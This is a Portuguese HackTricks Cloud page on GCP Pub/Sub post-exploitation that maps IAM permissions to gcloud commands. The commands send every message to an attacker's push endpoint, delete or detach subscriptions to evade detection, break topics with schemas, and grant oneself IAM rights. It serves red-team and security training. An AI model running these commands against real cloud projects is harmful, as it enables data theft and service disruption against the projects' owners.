GCP - Pub/Sub Pós Exploração
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Pub/Sub
Para mais informações sobre Pub/Sub, consulte a seguinte página:
pubsub.topics.publish
Publique uma mensagem em um tópico, útil para enviar dados inesperados e acionar funcionalidades inesperadas ou explorar vulnerabilidades:
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
pubsub.topics.detachSubscription
Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
pubsub.topics.delete
Útil para impedir que uma assinatura receba mensagens, talvez para evitar detecção.
É possível excluir um tópico mesmo com assinaturas anexadas a ele.
gcloud pubsub topics delete <TOPIC NAME>
pubsub.topics.update
Use esta permissão para atualizar alguma configuração do tópico para interrompê-lo, como --clear-schema-settings
, --message-retention-duration
, --message-storage-policy-allowed-regions
, --schema
, --schema-project
, --topic-encryption-key
...
pubsub.topics.setIamPolicy
Dê a si mesmo permissão para realizar qualquer um dos ataques anteriores.
pubsub.subscriptions.create,
pubsub.topics.attachSubscription
, (pubsub.subscriptions.consume
)
Obtenha todas as mensagens em um servidor web:
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
Crie uma assinatura e use-a para puxar mensagens:
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted
pubsub.subscriptions.delete
Excluir uma assinatura pode ser útil para interromper um sistema de processamento de logs ou algo semelhante:
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
pubsub.subscriptions.update
Use esta permissão para atualizar alguma configuração para que as mensagens sejam armazenadas em um local que você possa acessar (URL, tabela Big Query, Bucket) ou apenas para interrompê-las.
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
pubsub.subscriptions.setIamPolicy
Dê a si mesmo as permissões necessárias para realizar qualquer um dos ataques comentados anteriormente.
pubsub.schemas.attach
, pubsub.topics.update
,(pubsub.schemas.create
)
Ataque um esquema a um tópico para que as mensagens não o cumpram e, portanto, o tópico seja interrompido.
Se não houver esquemas, você pode precisar criar um.
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json
pubsub.schemas.delete
Isso pode parecer que ao deletar um esquema você poderá enviar mensagens que não atendem ao esquema. No entanto, como o esquema será deletado, nenhuma mensagem realmente entrará no tópico. Portanto, isso é INÚTIL:
gcloud pubsub schemas delete <SCHEMA NAME>
pubsub.schemas.setIamPolicy
Dê a si mesmo as permissões necessárias para realizar qualquer um dos ataques comentados anteriormente.
pubsub.snapshots.create
, pubsub.snapshots.seek
Isso criará um snapshot de todas as mensagens não reconhecidas e as colocará de volta na assinatura. Não é muito útil para um atacante, mas aqui está:
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.